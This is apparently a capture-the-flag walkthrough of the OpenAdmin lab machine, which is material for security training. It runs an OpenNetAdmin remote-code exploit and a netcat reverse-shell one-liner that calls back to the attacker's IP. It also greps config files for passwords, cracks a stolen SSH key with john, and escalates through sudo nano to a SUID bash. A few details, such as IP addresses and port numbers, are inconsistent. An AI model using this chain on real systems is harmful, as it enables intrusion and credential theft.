OpenAdmin

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.171 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

As we see, only ports 22 (SSH) and 80 (HTTP) are open.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,80 10.10.10.171 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

If we take a look at the website, we'll see the Apache2 default page.

Let's enumerate directories with gobuster.

gobuster dir -u http://10.10.10.56/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200

  • dir enumerates directories or files.

  • -u the target URL.

  • -w path to the wordlist.

  • -t number of current threads, in this case 200 threads.

There are three different websites. Let's take a look at the /music one.

If we click on the Login button, we'll be redirected to a different web page with the OpenNetAdmin :: 0wn Your Network tittle, and it says that it is the version 18.1.1.

Exploitation

Let's search for common exploits of OpenNetAdmin.

searchsploit opennetadmin

Let's move the .sh one to our current directory.

searchsploit -m php/webapps/47691.sh

If we take a look at the exploit, we'll see that we have to execute it, indicating the URL of the OpenNetAdmin web page. We'll see that this exploit allows us to run commands.

./47691.sh http://10.10.10.171/ona/

Let's get a reverse shell, to have a more stable shell. First, let's set a netcat listener on port 4444.

nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

If now we execute the following command, on the "shell" that the exploit gave us, we'll get a reverse shell as the www-data user.

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>%261|nc 10.10.14.19 4444 >/tmp/f

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

We are currently in the /opt/ona/www directory, if we list the current directory, we'll see a lot of config files and folders.

ls -l

Usually these config files have passwords or some sort of credentials. If we search for the pass word in all the files of the current directory and subdirectories, we'll find the n1nj4W4rri0R! password, in the local/config/database_settings.inc.php file.

grep -r pass 2>/dev/null

If we enumerate the system users, we'll see the jimmy and joanna users

ls -l /home

Let's try to become the jimmy user with the password we found earlier.

su jimmy

If we check the groups that the user jimmy is a member of, we can see that it belongs to the internal group.

id

Let's search for anything that has the internal group as the group owner.

find / -group internal 2>/dev/null

There is the /internal folder under the /var/www directory. This means that maybe there is another website, but it is not accessible from outside. If we check the /etc/apache2/sites-available/, which has the configuration files for all the apache2 websites, we'll see the internal.conf file along with the openadmin.conf and the default-ssl.conf files.

ls -l /etc/apache2/sites-available/

If we take a look at the internal.conf file, we'll see a few things. First, it is listening on the localhost on port 54846, and second, the AssignUserID is assigned to the joanna user, and the joanna group.

The mpm_itk module allows you to increase the security of the virtual hosts, making each one run with separate UIDs/GIDs.

cat /etc/apache2/sites-available/internal.conf

Also, if see the /var/www/internal/main.php file, we'll see that it gets the content of the /home/joanna/.ssh/id_rsa file and print it out. As the server runs with the UID/GID of the user joanna, it can do it.

cat /var/www/internal/main.php

If we curl that file of the server hosted on the localhost on port 52846, we'll see the id_rsa file of the joanna user.

curl 127.0.0.1:52846/main.php

Now grab the key, paste it in the id_rsa file, and give it the right permissions.

nano idrsa && chmod 600 id_rsa

But, as we can see, the id_rsa file is encrypted. Let's get a hash that john can understand with the ssh2john tool.

ssh2john id_rsa > john_id_rsa

Now break it with john using the rockyou.txt dictionary.

john --wordlist=/usr/share/wordlists/rockyou.txt john_id_rsa

And we get the bloodninjas password for the encrypted id_rsa file. Now we can log in as the joanna user via SSH, and then we could grab the user flag.

ssh -i id_rsa joanna@10.10.10.171

Let's list the sudo privileges of the joanna user.

sudo -l

  • -l list user privileges.

We can execute nano on the /opt/priv file as the root user. If we search for nano on the GTFOBins list, we'll see that we can execute any command as the root user.

GTFOBins is a great list of binaries that can be used to escalate privileges if you have the right permissions.

https://gtfobins.github.io/

First, let's execute nano with sudo privileges on the /opt/priv file.

sudo nano /opt/priv

Then, press Ctrl+R, and then Ctrl+X to execute commands. Then execute the following command to give the SUID permission to the bash binary.

chmod u+s /bin/bash

Finally, if we exit nano, and execute bash with the owner permissions, we'll get a shell as root, and all we have to do is reap the harvest and take the root flag.

bash -p

Last updated

Was this helpful?